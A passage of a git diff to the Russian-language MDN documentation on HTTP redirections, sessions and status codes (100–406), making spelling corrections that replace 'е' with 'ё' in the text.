                  Хотя HTTP/2 добавляет некоторую сложность, встраивая HTTP сообщения во фреймы для улучшения производительности, базовая структура сообщений осталась с HTTP/1.0. Сессионный поток остаётся простым, позволяя исследовать и отлаживать с простым монитором HTTP-сообщений.
                  
diff --git a/files/ru/web/http/redirections/index.html b/files/ru/web/http/redirections/index.html
index aa1a214099..24d77f80f5 100644
--- a/files/ru/web/http/redirections/index.html
+++ b/files/ru/web/http/redirections/index.html
@@ -53,7 +53,7 @@ translation_of: Web/HTTP/Redirections
 
 
                  Временные перенаправления
                  
 
-
                  Иногда, доступ к запрашиваемому ресурсу не может быть предоставлен из определенного места, но может быть предоставлен из другого. В этом случае, могут быть использованы временные перенаправления. Поисковые роботы не запоминают новую, временную ссылку. Временные перенаправления также используются, когда создаются, обновляются, или удаляются ресурсы, которые представляют временные страницы.
                  
+
                  Иногда, доступ к запрашиваемому ресурсу не может быть предоставлен из определённого места, но может быть предоставлен из другого. В этом случае, могут быть использованы временные перенаправления. Поисковые роботы не запоминают новую, временную ссылку. Временные перенаправления также используются, когда создаются, обновляются, или удаляются ресурсы, которые представляют временные страницы.
                  @@ -111,18 +111,18 @@ translation_of: Web/HTTP/Redirections - +
                  304 Not ModifiedОбновление кеша: означает, что значение кеша все еще актуально и может быть использовано.Обновление кеша: означает, что значение кеша все ещё актуально и может быть использовано.

                  Альтернативные способы указания перенаправлений

                  -

                  HTTP перенаправления это не единственный способ переадресации. Есть еще два метода: HTML перенаправления используют элемент {{HTMLElement("meta")}} , и JavaScript перенаправления используют DOM.

                  +

                  HTTP перенаправления это не единственный способ переадресации. Есть ещё два метода: HTML перенаправления используют элемент {{HTMLElement("meta")}} , и JavaScript перенаправления используют DOM.

                  HTML перенаправления

                  -

                  HTTP перенаправления более предпочтительный способ создания перенаправлений, но, иногда, у веб-разработчиков нету контроля над сервером или возможности настроить его.  Для таких особых случаев, разработчики могут создать HTML страницу с элементом  {{HTMLElement("meta")}} и установить атрибуту {{htmlattrxref("http-equiv", "meta")}} значение refresh в блоке {{HTMLElement("head")}}. Когда страница отображается, браузер найдет этот элемент и перейдет на указанную страницу.

                  +

                  HTTP перенаправления более предпочтительный способ создания перенаправлений, но, иногда, у веб-разработчиков нету контроля над сервером или возможности настроить его.  Для таких особых случаев, разработчики могут создать HTML страницу с элементом  {{HTMLElement("meta")}} и установить атрибуту {{htmlattrxref("http-equiv", "meta")}} значение refresh в блоке {{HTMLElement("head")}}. Когда страница отображается, браузер найдёт этот элемент и перейдёт на указанную страницу.

                  <head>
   <meta http-equiv="refresh" content="0; URL=http://www.example.com/" />
@@ -143,14 +143,14 @@ translation_of: Web/HTTP/Redirections
 
 
                  window.location = "http://www.example.com/";
                  
 
-
                  Как и HTML перенаправления, этот тип не будет работать на всех ресурсах, и очевидно, что работает только на стороне клиента, который выполнит JavaScript. С другой стороны, вы можете вызвать перенаправление, только тогда, когда исполнится определенное условие.
                  
+
                  Как и HTML перенаправления, этот тип не будет работать на всех ресурсах, и очевидно, что работает только на стороне клиента, который выполнит JavaScript. С другой стороны, вы можете вызвать перенаправление, только тогда, когда исполнится определённое условие.
                  
 
 
                  Приоритетность
                  
 
-
                  При использовании трех возможных способов URL перенаправления, некоторые методы могут быть вызваны одновременно, но какой из них будет применен первым? Порядок приоритетов следующий:
                  
+
                  При использовании трёх возможных способов URL перенаправления, некоторые методы могут быть вызваны одновременно, но какой из них будет применён первым? Порядок приоритетов следующий:
                  
 
 
                    
- 
                  1. HTTP перенаправления всегда выполняются первыми, пока еще страница даже не была передана,  и конечно же, пока еще не прочитана.
                    2. 
+ 
                  2. HTTP перенаправления всегда выполняются первыми, пока ещё страница даже не была передана,  и конечно же, пока ещё не прочитана.
                    3. 
  
                  3. HTML перенаправления ({{HTMLElement("meta")}}) выполняются только, если перенаправление не было в выполнено в HTTP.
                    4. 
  
                  4. JavaScript перенаправления используются как последняя возможность перенаправления, и работают только если разрешено выполнение JavaScript на клиентской стороне.
                    5. 
 
                  
@@ -168,14 +168,14 @@ translation_of: Web/HTTP/Redirections
 
                  Связывание доменов может быть необходимым по нескольким причинам:
                  
 
 
                    
- 
                  • Расширение вашего сайта. Распространенный случай, когда ваш сайт находится под доменом www.example.com , а доступ к страницам должен быть возможным также из example.com . В этом случае создаются перенаправления для  страниц из example.com к страницам www.example.com. Вы также можете предоставлять обычно используемые имена синонимов или частые опечатки ваших доменных имен.
                    • 
+ 
                  • Расширение вашего сайта. Распространённый случай, когда ваш сайт находится под доменом www.example.com , а доступ к страницам должен быть возможным также из example.com . В этом случае создаются перенаправления для  страниц из example.com к страницам www.example.com. Вы также можете предоставлять обычно используемые имена синонимов или частые опечатки ваших доменных имен.
                    • 
  
                  • Переезд на другой домен. К примеру, ваша компания была переименована и вы хотите чтобы люди которые обычно использовали старый сайт компании находили вас под новым именем.
                    • 
- 
                  • Принужденный HTTPS. Запросы к HTTP версии вашего сайта буду перенаправлены к HTTPS версии.
                    • 
+ 
                  • Принуждённый HTTPS. Запросы к HTTP версии вашего сайта буду перенаправлены к HTTPS версии.
                    • 
 
                  
 
 
                  Сохранения ссылок рабочими
                  
 
-
                  Когда вы изменяете структуру веб-сайта, URL адреса ресурсов меняются. Даже, если вы можете обновить внутренние ссылки вашего сайта в соответствии с новой схемой имен, у вас нет контроля на URL адресами используемыми внешними ресурсами. Вы не хотите, чтобы эти ссылки не работали, так как они приносят вам ценных пользователей (и помогают вашей SEO), так что вы устанавливаете перенаправления из старых URL адресов на новые.
                  
+
                  Когда вы изменяете структуру веб-сайта, URL адреса ресурсов меняются. Даже, если вы можете обновить внутренние ссылки вашего сайта в соответствии с новой схемой имён, у вас нет контроля на URL адресами используемыми внешними ресурсами. Вы не хотите, чтобы эти ссылки не работали, так как они приносят вам ценных пользователей (и помогают вашей SEO), так что вы устанавливаете перенаправления из старых URL адресов на новые.
                  
 
 
                  
 
                  Не смотря на то, что данный метод работает также для внутренних ссылок, вы должны избегать внутренних перенаправлений. Перенаправления имеют большое влияние на производительность, и если вы имеете возможность избежать их, корректируя внутренние ссылки, тогда делайте так.
                  
@@ -185,7 +185,7 @@ translation_of: Web/HTTP/Redirections
 
 
                  {{Glossary("safe", "Небезопасные")}} запросы изменяют состояние сервера и пользователь не должен не нарочно запросить их.  Обычно, вы не хотите чтобы ваши пользователи повторно отправляли {{HTTPMethod("PUT")}}, {{HTTPMethod("POST")}} или {{HTTPMethod("DELETE")}} запросы. Если вы только обслуживаете запросы, простое нажатие кнопки перезагрузки повторно отправит запрос. 
                  
 
-
                  В этом случае, сервер вернет ответ {{HTTPStatus("303")}} (Смотреть другие), который будет содержать правильную информацию, но если кнопка перезагрузки будет нажата, эта страница просто отобразится повторно без ответа на небезопасный запрос.
                  
+
                  В этом случае, сервер вернёт ответ {{HTTPStatus("303")}} (Смотреть другие), который будет содержать правильную информацию, но если кнопка перезагрузки будет нажата, эта страница просто отобразится повторно без ответа на небезопасный запрос.
                  
 
 
                  Временные ответы на долгие запросы
                  
 
@@ -223,7 +223,7 @@ Redirect 301 / http://www.example.com
 
 
                  Nginx
                  
 
-
                  В Nginx, вы создаете особый серверный блок для контента, который вы хотите перенаправлять:
                  
+
                  В Nginx, вы создаёте особый серверный блок для контента, который вы хотите перенаправлять:
                  
 
 
                  server {
 	listen 80;
@@ -243,7 +243,7 @@ rewrite ^/images/(.*)$ http://images.example.com/$1 permanent;
 
 
                  Циклы перенаправлений
                  
 
-
                  Циклы перенаправлений случаются когда за успешным перенаправлением следует другое, которое уже было выполнено. Другими словами, существует такой цикл, который никогда не закончится и в конечном счете ни одна страница не будет найдена.
                  
+
                  Циклы перенаправлений случаются когда за успешным перенаправлением следует другое, которое уже было выполнено. Другими словами, существует такой цикл, который никогда не закончится и в конечном счёте ни одна страница не будет найдена.
                  
 
 
                  В большинстве случаев это проблема сервера, и если сервер не может обнаружить её, то отправит код статуса {{HTTPStatus("500")}} Internal Server Error. Если вы встретите такую ошибку вскоре после редактирования настроек сервера, то это скорее всего цикл перенаправлений.
                  
 
diff --git a/files/ru/web/http/session/index.html b/files/ru/web/http/session/index.html
index a8a53f9090..1b94555603 100644
--- a/files/ru/web/http/session/index.html
+++ b/files/ru/web/http/session/index.html
@@ -27,7 +27,7 @@ translation_of: Web/HTTP/Session
 
 
                  Отправка запроса клиента
                  
 
-
                  Когда соединение установлено user-agent может послать запрос. (user-agent это обычно веб браузер, но может им не быть) Клиентский запрос это текстовые директивы, разделенные между собой при помощи CRLF (переноса строки).  Сам запрос включает в себя три блока:
                  
+
                  Когда соединение установлено user-agent может послать запрос. (user-agent это обычно веб браузер, но может им не быть) Клиентский запрос это текстовые директивы, разделённые между собой при помощи CRLF (переноса строки).  Сам запрос включает в себя три блока:
                  
 
 
                    
  
                  1. Первые строки содержат метод запроса и его параметры:
@@ -36,7 +36,7 @@ translation_of: Web/HTTP/Session
    
                  2. версию HTTP протокола 
                    3.
                -
              • Каждая последующая строка представляет собой HTTP заголовок и передает серверу некоторую информацию о типах предпочитаемых данных (например, какой язык , какие MIME типы) или инструкции меняющие поведение сервера (например, не отправлять ответ, если он уже в кэше) . Эти HTTP заголовки формируют блок, который заканчивается пустой строкой.
                • +
              • Каждая последующая строка представляет собой HTTP заголовок и передаёт серверу некоторую информацию о типах предпочитаемых данных (например, какой язык , какие MIME типы) или инструкции меняющие поведение сервера (например, не отправлять ответ, если он уже в кэше) . Эти HTTP заголовки формируют блок, который заканчивается пустой строкой.
              • Последний блок является не обязательным и содержит дополнительные данные. По большей части используется методом POST.
        @@ -63,16 +63,16 @@ name=Joe%20User&request=Send%20me%20one%20of%20your%20catalogue

        Методы запроса

        -

        HTTP определяет набор методов запроса с указанием желаемого действие на ресурсе. Хотя они также могут быть и существительными, эти запросы методы иногда называют HTTP-командами. Наиболее распространенные запросы GET и POST:

        +

        HTTP определяет набор методов запроса с указанием желаемого действие на ресурсе. Хотя они также могут быть и существительными, эти запросы методы иногда называют HTTP-командами. Наиболее распространённые запросы GET и POST:

        • {{HTTPMethod("GET")}} используется для запроса содержимого указанного ресурса. Запрос с использованием GET должен только получать данные.
          • -
        • {{HTTPMethod("POST")}} метод отправляет данные на сервер, так что он может изменять свое состояние. Этот метод часто используется для HTML форм.
          • +
        • {{HTTPMethod("POST")}} метод отправляет данные на сервер, так что он может изменять своё состояние. Этот метод часто используется для HTML форм.

        Структура ответа от сервера

        -

        После того как присоединенный агент отправил свой запрос, веб сервер обрабатывает его и отправляет ответ. По аналогии с клиентским запросом, ответ сервера — это текстовые директивы разделенные между собой CRLF, сгруппированные в три разных блока:

        +

        После того как присоединённый агент отправил свой запрос, веб сервер обрабатывает его и отправляет ответ. По аналогии с клиентским запросом, ответ сервера — это текстовые директивы разделённые между собой CRLF, сгруппированные в три разных блока:

        1. Первая строка — строка статуса, состоит из подтверждения используемой HTTP версии и статуса запроса (и его значения в виде, понятном человеку).
          2. @@ -97,7 +97,7 @@ Content-Type: text/html -

          Сообщение о том, что запрашиваемый ресурс был перемещен:

          +

          Сообщение о том, что запрашиваемый ресурс был перемещён:

          HTTP/1.1 301 Moved Permanently
 Server: Apache/2.2.3 (Red Hat)
@@ -140,7 +140,7 @@ Content-Type: text/html
 
 
          Коды статусов ответа
          
 
-
          HTTP-коды ответов показывают, выполнен ли успешно определенный HTTP-запрос. Ответы сгруппированы в пять классов: информационные ответы, успешные ответы, редиректы, ошибки клиента и ошибки сервера.
          
+
          HTTP-коды ответов показывают, выполнен ли успешно определённый HTTP-запрос. Ответы сгруппированы в пять классов: информационные ответы, успешные ответы, редиректы, ошибки клиента и ошибки сервера.
          
 
 
            
  
          • {{HTTPStatus(200)}}: OK. Запрос завершился успехом.
            • 
diff --git a/files/ru/web/http/status/100/index.html b/files/ru/web/http/status/100/index.html
index 5e9b4a15b7..d96b80e56e 100644
--- a/files/ru/web/http/status/100/index.html
+++ b/files/ru/web/http/status/100/index.html
@@ -7,7 +7,7 @@ translation_of: Web/HTTP/Status/100
 
 
             Код ответа "HTTP 100 Continue" на информационный статус указывает, что все до сих пор в порядке и что клиент должен продолжить запрос или игнорировать его, если он уже завершен.
            
 
-
            Чтобы сервер проверял заголовки запроса, клиент должен отправить {{HTTPHeader("Expect")}}:100-continue в качестве заголовка в своем первоначальном запросе и получить код состояния 100-continue в ответ перед отправкой тела.
            
+
            Чтобы сервер проверял заголовки запроса, клиент должен отправить {{HTTPHeader("Expect")}}:100-continue в качестве заголовка в своём первоначальном запросе и получить код состояния 100-continue в ответ перед отправкой тела.
            
 
 
            Статус
            
 
diff --git a/files/ru/web/http/status/200/index.html b/files/ru/web/http/status/200/index.html
index bd1f64e5e5..ae8a98f91b 100644
--- a/files/ru/web/http/status/200/index.html
+++ b/files/ru/web/http/status/200/index.html
@@ -10,9 +10,9 @@ translation_of: Web/HTTP/Status/200
 
            Значение успеха зависит от метода HTTP-запроса:
            
 
 
              
- 
            • {{HTTPMethod("GET")}}: Ресурс был извлечен и передан в теле сообщения.
              • 
+ 
            • {{HTTPMethod("GET")}}: Ресурс был извлечён и передан в теле сообщения.
              • 
  
            • {{HTTPMethod("HEAD")}}: Заголовки объектов находятся в теле сообщения.
              • 
- 
            • {{HTTPMethod("POST")}}: Ресурс, описывающий результат действия, передается в теле сообщения.
              • 
+ 
            • {{HTTPMethod("POST")}}: Ресурс, описывающий результат действия, передаётся в теле сообщения.
              • 
  
            • {{HTTPMethod("TRACE")}}:Тело сообщения содержит сообщение запроса, полученное сервером.
              • 
 
            
 
diff --git a/files/ru/web/http/status/201/index.html b/files/ru/web/http/status/201/index.html
index 9bb49c0dfc..9d55a9eb3b 100644
--- a/files/ru/web/http/status/201/index.html
+++ b/files/ru/web/http/status/201/index.html
@@ -6,7 +6,7 @@ translation_of: Web/HTTP/Status/201
 
            
 
            {{HTTPSidebar}}
            
 
-
            HTTP 201 Created Код ответа об успешном статусе указывает, что запрос выполнен успешно и привел к созданию ресурса. Новый ресурс эффективно создается до отправки этого ответа. И новый ресурс возвращается в теле сообщения, его местоположение представляет собой либо URL-адрес запроса, либо содержимое заголовка Location.
            
+
            HTTP 201 Created Код ответа об успешном статусе указывает, что запрос выполнен успешно и привёл к созданию ресурса. Новый ресурс эффективно создаётся до отправки этого ответа. И новый ресурс возвращается в теле сообщения, его местоположение представляет собой либо URL-адрес запроса, либо содержимое заголовка Location.
            
 
 
            Общим случаем использования этого кода состояния является результат POST запроса.
            
 
            
diff --git a/files/ru/web/http/status/202/index.html b/files/ru/web/http/status/202/index.html
index ac2d42a884..4acbea6708 100644
--- a/files/ru/web/http/status/202/index.html
+++ b/files/ru/web/http/status/202/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/202
 ---
 
            {{HTTPSidebar}}
            
 
-
            Код состояния ответа "The HTTP 202 Accepted" указывает, что запрос получен, но еще не обработан. Это не является обязательным, что означает, что в HTTP невозможно передать более поздний асинхронный ответ, указывающий на результат обработки запроса. Он предназначен для случаев, когда другой процесс или сервер обрабатывает запрос или для пакетной обработки.
            
+
            Код состояния ответа "The HTTP 202 Accepted" указывает, что запрос получен, но ещё не обработан. Это не является обязательным, что означает, что в HTTP невозможно передать более поздний асинхронный ответ, указывающий на результат обработки запроса. Он предназначен для случаев, когда другой процесс или сервер обрабатывает запрос или для пакетной обработки.
            
 
 
            Статус
            
 
diff --git a/files/ru/web/http/status/203/index.html b/files/ru/web/http/status/203/index.html
index aabd4310ac..4d184c15ce 100644
--- a/files/ru/web/http/status/203/index.html
+++ b/files/ru/web/http/status/203/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/203
 ---
 
            {{HTTPSidebar}}
            
 
-
            "The HTTP 203 Non-Authoritative Information" Статус ответа указывает, что запрос был успешным, но прилагаемая полезная нагрузка была изменена с учетом ответа сервера{{HTTPStatus("200")}} (OK) сервера происхождения с помощью преобразующего {{Glossary("Proxy server", "proxy")}}.
            
+
            "The HTTP 203 Non-Authoritative Information" Статус ответа указывает, что запрос был успешным, но прилагаемая полезная нагрузка была изменена с учётом ответа сервера{{HTTPStatus("200")}} (OK) сервера происхождения с помощью преобразующего {{Glossary("Proxy server", "proxy")}}.
            
 
 
            "The 203" ответ  аналогичен значению 214, значение "Transformation Applied", кода  {{HTTPHeader("Warning")}} имеет дополнительное преимущество, применимое к ответам с любым кодом состояния.
            
 
diff --git a/files/ru/web/http/status/204/index.html b/files/ru/web/http/status/204/index.html
index c874bd3e14..299a8c9b81 100644
--- a/files/ru/web/http/status/204/index.html
+++ b/files/ru/web/http/status/204/index.html
@@ -5,9 +5,9 @@ translation_of: Web/HTTP/Status/204
 ---
 
            {{HTTPSidebar}}
            
 
-
            "The HTTP 204 No Content" код ответа статуса успеха указывает, что запрос имеет успех, но что клиенту не нужно уходить со своей текущей страницы. По умолчанию ответ 204  кэшируется. В такой ответ включен  {{HTTPHeader("ETag")}}.
            
+
            "The HTTP 204 No Content" код ответа статуса успеха указывает, что запрос имеет успех, но что клиенту не нужно уходить со своей текущей страницы. По умолчанию ответ 204  кэшируется. В такой ответ включён  {{HTTPHeader("ETag")}}.
            
 
-
            Общим вариантом использования является возвращение 204 в результате запроса {{HTTPMethod("PUT")}}, обновления ресурса, без изменения текущего содержимого страницы, отображаемой пользователю. Если ресурс создан, вместо него возвращается {{HTTPStatus("201")}} Created. Если страница должна быть изменена на вновь обновленную страницу, вместо нее следует использовать {{HTTPStatus("200")}}.
            
+
            Общим вариантом использования является возвращение 204 в результате запроса {{HTTPMethod("PUT")}}, обновления ресурса, без изменения текущего содержимого страницы, отображаемой пользователю. Если ресурс создан, вместо него возвращается {{HTTPStatus("201")}} Created. Если страница должна быть изменена на вновь обновлённую страницу, вместо неё следует использовать {{HTTPStatus("200")}}.
            
 
 
            Статус
            
 
diff --git a/files/ru/web/http/status/206/index.html b/files/ru/web/http/status/206/index.html
index d34fac6443..a670db7fd3 100644
--- a/files/ru/web/http/status/206/index.html
+++ b/files/ru/web/http/status/206/index.html
@@ -8,7 +8,7 @@ translation_of: Web/HTTP/Status/206
 
 
            "The HTTP 206 Partial Content"код ответа на статус успешного  указывает, что запрос преуспел, и тело содержит запрошенные диапазоны данных, как описано в  {{HTTPHeader("Range")}} запроса
            
 
-
            Если существует только один диапазон, {{HTTPHeader("Content-Type")}} всего ответа задается типом документа, а также {{HTTPHeader("Content-Range")}}
            
+
            Если существует только один диапазон, {{HTTPHeader("Content-Type")}} всего ответа задаётся типом документа, а также {{HTTPHeader("Content-Range")}}
            
 
 
            Если несколько диапазонов отправлены обратно, {{HTTPHeader("Content-Type")}} задано значение multipart/byteranges, и каждый фрагмент охватывает один диапазон, {{HTTPHeader("Content-Range")}} и {{HTTPHeader("Content-Type")}}, описывающий его.
            
 
diff --git a/files/ru/web/http/status/301/index.html b/files/ru/web/http/status/301/index.html
index 8456c79e66..3020b45294 100644
--- a/files/ru/web/http/status/301/index.html
+++ b/files/ru/web/http/status/301/index.html
@@ -9,9 +9,9 @@ translation_of: Web/HTTP/Status/301
 ---
 
            {{HTTPSidebar}}
            
 
-
            Код перенаправления "301 Moved Permanently" протокола передачи гипертекста (HTTP) показывает, что запрошенный ресурс был окончательно перемещен в URL, указанный в заголовке {{HTTPHeader("Location")}}. Браузер в случае такого ответа перенаправляется на эту страницу, а поисковые системы обновляют свои ссылки на ресурс (говоря языком SEO, вес страницы переносится на новый URL-адрес).
            
+
            Код перенаправления "301 Moved Permanently" протокола передачи гипертекста (HTTP) показывает, что запрошенный ресурс был окончательно перемещён в URL, указанный в заголовке {{HTTPHeader("Location")}}. Браузер в случае такого ответа перенаправляется на эту страницу, а поисковые системы обновляют свои ссылки на ресурс (говоря языком SEO, вес страницы переносится на новый URL-адрес).
            
 
-
            Даже если спецификация требует, чтобы при выполнении перенаправления, метод и тело запроса не изменялись, не все пользовательские приложения обращают на это внимание, и вы все еще можете столкнуться с программами имеющими этот баг. Именно поэтому код 301 рекомендуется только в качестве ответа на {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}} запрос, а для {{HTTPMethod("POST")}} рекомендуется код {{HTTPStatus("308", "308 Permanent Redirect")}}, так как он явно запрещает изменение метода запроса.
            
+
            Даже если спецификация требует, чтобы при выполнении перенаправления, метод и тело запроса не изменялись, не все пользовательские приложения обращают на это внимание, и вы все ещё можете столкнуться с программами имеющими этот баг. Именно поэтому код 301 рекомендуется только в качестве ответа на {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}} запрос, а для {{HTTPMethod("POST")}} рекомендуется код {{HTTPStatus("308", "308 Permanent Redirect")}}, так как он явно запрещает изменение метода запроса.
            
 
 
            Статус
            
 
diff --git a/files/ru/web/http/status/302/index.html b/files/ru/web/http/status/302/index.html
index 34c5344642..f04eaea946 100644
--- a/files/ru/web/http/status/302/index.html
+++ b/files/ru/web/http/status/302/index.html
@@ -9,11 +9,11 @@ translation_of: Web/HTTP/Status/302
 ---
 
            {{HTTPSidebar}}
            
 
-
            HTTP код перенаправления 302 Found означает, что запрошенный ресурс был временно перемещен по адресу, указанному в заголовке {{HTTPHeader("Location")}}. Получив такой ответ браузер перенаправляется на новую страницу, но поисковые системы не обновляют свои ссылки на ресурс (в жаргоне SEO говорят, что вес ссылки (link-juice) не меняется и не отправляется на новый URL-адрес).
            
+
            HTTP код перенаправления 302 Found означает, что запрошенный ресурс был временно перемещён по адресу, указанному в заголовке {{HTTPHeader("Location")}}. Получив такой ответ браузер перенаправляется на новую страницу, но поисковые системы не обновляют свои ссылки на ресурс (в жаргоне SEO говорят, что вес ссылки (link-juice) не меняется и не отправляется на новый URL-адрес).
            
 
 
            Несмотря на требование спецификации не изменять при перенаправлении метод и тело запроса, не все программные клиенты выполняют его, и с некоторыми из них можно столкнуться до сих пор. Поэтому рекомендуется установить код 302 только как ответ для методов {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}. Для остальных случаев лучше использовать код {{HTTPStatus("307", "307 Temporary Redirect")}}, поскольку в этом случае изменение метода явно запрещено.
            
 
-
            В тех случаях, когда вы хотите, чтобы используемый метод был изменен на {{HTTPMethod("GET")}}, используйте код {{HTTPStatus("303", "303 See Other")}}. Это полезно, если вы хотите дать ответ на метод {{HTTPMethod("PUT")}}, который не является загруженным ресурсом, но является подтверждающим сообщением (например, «Вы успешно загрузили XYZ»).
            
+
            В тех случаях, когда вы хотите, чтобы используемый метод был изменён на {{HTTPMethod("GET")}}, используйте код {{HTTPStatus("303", "303 See Other")}}. Это полезно, если вы хотите дать ответ на метод {{HTTPMethod("PUT")}}, который не является загруженным ресурсом, но является подтверждающим сообщением (например, «Вы успешно загрузили XYZ»).
            
 
 
            Статус
            
 
diff --git a/files/ru/web/http/status/307/index.html b/files/ru/web/http/status/307/index.html
index 38cdf13766..6978f10cfe 100644
--- a/files/ru/web/http/status/307/index.html
+++ b/files/ru/web/http/status/307/index.html
@@ -9,9 +9,9 @@ translation_of: Web/HTTP/Status/307
 ---
 
            {{HTTPSidebar}}
            
 
-
            {{Glossary("HTTP")}} код перенаправления  307 Temporary Redirect означает, что запрошенный ресурс был временно перемещен в URL-адрес, указанный в заголовке {{HTTPHeader("Location")}}.
            
+
            {{Glossary("HTTP")}} код перенаправления  307 Temporary Redirect означает, что запрошенный ресурс был временно перемещён в URL-адрес, указанный в заголовке {{HTTPHeader("Location")}}.
            
 
-
            Метод и тело исходного запроса повторно используются для выполнения перенаправленного запроса. Если вы хотите, чтобы используемый метод был изменен на {{HTTPMethod("GET")}}, используйте {{HTTPStatus("303", "303 See Other")}}. Это полезно, если вы хотите дать ответ на метод {{HTTPMethod("PUT")}}, который не является загруженным ресурсом, а является подтверждающим сообщением (например, «Вы успешно загрузили XYZ»).
            
+
            Метод и тело исходного запроса повторно используются для выполнения перенаправленного запроса. Если вы хотите, чтобы используемый метод был изменён на {{HTTPMethod("GET")}}, используйте {{HTTPStatus("303", "303 See Other")}}. Это полезно, если вы хотите дать ответ на метод {{HTTPMethod("PUT")}}, который не является загруженным ресурсом, а является подтверждающим сообщением (например, «Вы успешно загрузили XYZ»).
            
 
 
            Единственное различие между 307 и {{HTTPStatus("302")}} состоит в том, что 307 гарантирует, что метод и тело не будут изменены при выполнении перенаправленного запроса. В случае с кодом 302 некоторые старые клиенты неправильно меняли метод на {{HTTPMethod("GET")}}, из-за чего поведение запросов с методом отличным от GET и ответа с кодом 302 непредсказуемо, тогда как поведение в случае ответа с кодом 307 предсказуемо. Для запросов GET поведение идентично.
            
 
diff --git a/files/ru/web/http/status/308/index.html b/files/ru/web/http/status/308/index.html
index 6416f1cf9c..be80d3e6c4 100644
--- a/files/ru/web/http/status/308/index.html
+++ b/files/ru/web/http/status/308/index.html
@@ -5,9 +5,9 @@ translation_of: Web/HTTP/Status/308
 ---
 
            {{HTTPSidebar}}
            
 
-
            Код ответа на статус перенаправления "HTTP 308 Permanent Redirect" указывает, что запрошенный ресурс был окончательно перемещен в URL-адрес, указанный в {{HTTPHeader("Location")}}. Браузер перенаправляется на эту страницу, а поисковые системы обновляют свои ссылки на ресурс (в SEO-speak говорится, что link-juice отправляется на новый URL-адрес).
            
+
            Код ответа на статус перенаправления "HTTP 308 Permanent Redirect" указывает, что запрошенный ресурс был окончательно перемещён в URL-адрес, указанный в {{HTTPHeader("Location")}}. Браузер перенаправляется на эту страницу, а поисковые системы обновляют свои ссылки на ресурс (в SEO-speak говорится, что link-juice отправляется на новый URL-адрес).
            
 
-
            Метод запроса и тело не будут изменены, тогда как {{HTTPStatus("301")}}  иногда может быть неправильно заменен на {{HTTPHeader("GET")}} метод.
            
+
            Метод запроса и тело не будут изменены, тогда как {{HTTPStatus("301")}}  иногда может быть неправильно заменён на {{HTTPHeader("GET")}} метод.
            
 
 
            
 
            Некоторые веб-приложения могут использовать 308 Permanent Redirect нестандартным образом и для других целей. Например, Google Drive использует ответ 308 Resume Incomplete, чтобы указать клиенту, когда неполная загрузка застопорилась.[1]
            
diff --git a/files/ru/web/http/status/401/index.html b/files/ru/web/http/status/401/index.html
index e093e7d774..021606e74a 100644
--- a/files/ru/web/http/status/401/index.html
+++ b/files/ru/web/http/status/401/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/401
 ---
 
            {{HTTPSidebar}}
            
 
-
            Код ответа на статус ошибки  HTTP 401 Unauthorized клиента указывает, что запрос не был применен, поскольку ему не хватает действительных учетных данных для целевого ресурса.
            
+
            Код ответа на статус ошибки  HTTP 401 Unauthorized клиента указывает, что запрос не был применён, поскольку ему не хватает действительных учётных данных для целевого ресурса.
            
 
 
            Этот статус отправляется с  {{HTTPHeader("WWW-Authenticate")}}, который содержит информацию о правильности авторизации.
            
 
diff --git a/files/ru/web/http/status/402/index.html b/files/ru/web/http/status/402/index.html
index 93b58f1dd6..09007391c1 100644
--- a/files/ru/web/http/status/402/index.html
+++ b/files/ru/web/http/status/402/index.html
@@ -7,7 +7,7 @@ translation_of: Web/HTTP/Status/402
 
 
            HTTP-ответ 402 Payment Required это нестандартная ошибка клиента, зарезервированная для использования в будущем.
            
 
-
            Иногда этот код означает, что запрос не может быть выполнен до тех пор, пока клиент не совершит оплату. Изначально создан для активации цифровых средств или (микро) платежных систем и изображает, что запрошенный контент недоступен пока клиент не совершит оплату. Так или иначе, стандартизованного использования для кода нет, и он может использоваться разными элементами в разном контексте.
            
+
            Иногда этот код означает, что запрос не может быть выполнен до тех пор, пока клиент не совершит оплату. Изначально создан для активации цифровых средств или (микро) платёжных систем и изображает, что запрошенный контент недоступен пока клиент не совершит оплату. Так или иначе, стандартизованного использования для кода нет, и он может использоваться разными элементами в разном контексте.
            
 
 
            Статус
            
 
diff --git a/files/ru/web/http/status/403/index.html b/files/ru/web/http/status/403/index.html
index 42f95f5f95..459b45c551 100644
--- a/files/ru/web/http/status/403/index.html
+++ b/files/ru/web/http/status/403/index.html
@@ -7,7 +7,7 @@ translation_of: Web/HTTP/Status/403
 
 
            Код ответа на статус ошибки "HTTP 403 Forbidden" указывает, что сервер понял запрос, но отказывается его авторизовать.
            
 
-
            Этот статус похож на {{HTTPStatus("401")}}, но в этом случае повторная аутентификация не будет иметь никакого значения. Доступ запрещен и привязан к логике приложения (например, у пользователя не хватает прав доступа к запрашиваемому ресурсу).
            
+
            Этот статус похож на {{HTTPStatus("401")}}, но в этом случае повторная аутентификация не будет иметь никакого значения. Доступ запрещён и привязан к логике приложения (например, у пользователя не хватает прав доступа к запрашиваемому ресурсу).
            
 
 
            Статус
            
 
diff --git a/files/ru/web/http/status/405/index.html b/files/ru/web/http/status/405/index.html
index afea810f1b..8259e60b6d 100644
--- a/files/ru/web/http/status/405/index.html
+++ b/files/ru/web/http/status/405/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/405
 ---
 
            {{HTTPSidebar}}
            
 
-
            Код состояния протокола HTTP  405 Method Not Allowed, указывает, что метод запроса известен серверу, но был отключен и не может быть использован. Два обязательных метода {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}} никогда не должны быть отключены и не должны возвращать этот код ошибки.
            
+
            Код состояния протокола HTTP  405 Method Not Allowed, указывает, что метод запроса известен серверу, но был отключён и не может быть использован. Два обязательных метода {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}} никогда не должны быть отключены и не должны возвращать этот код ошибки.
            
 
 
            Сервер ОБЯЗАН сгенерировать поле заголовка Allow в ответе с кодом 405, которое содержит список текущих доступных методов ресурса.
            
 
diff --git a/files/ru/web/http/status/406/index.html b/files/ru/web/http/status/406/index.html
index 1e61d4a6f7..6a402c4529 100644
--- a/files/ru/web/http/status/406/index.html
+++ b/files/ru/web/http/status/406/index.html
@@ -8,7 +8,7 @@ translation_of: Web/HTTP/Status/406
 ---
 
            {{HTTPSidebar}}
            
 
-
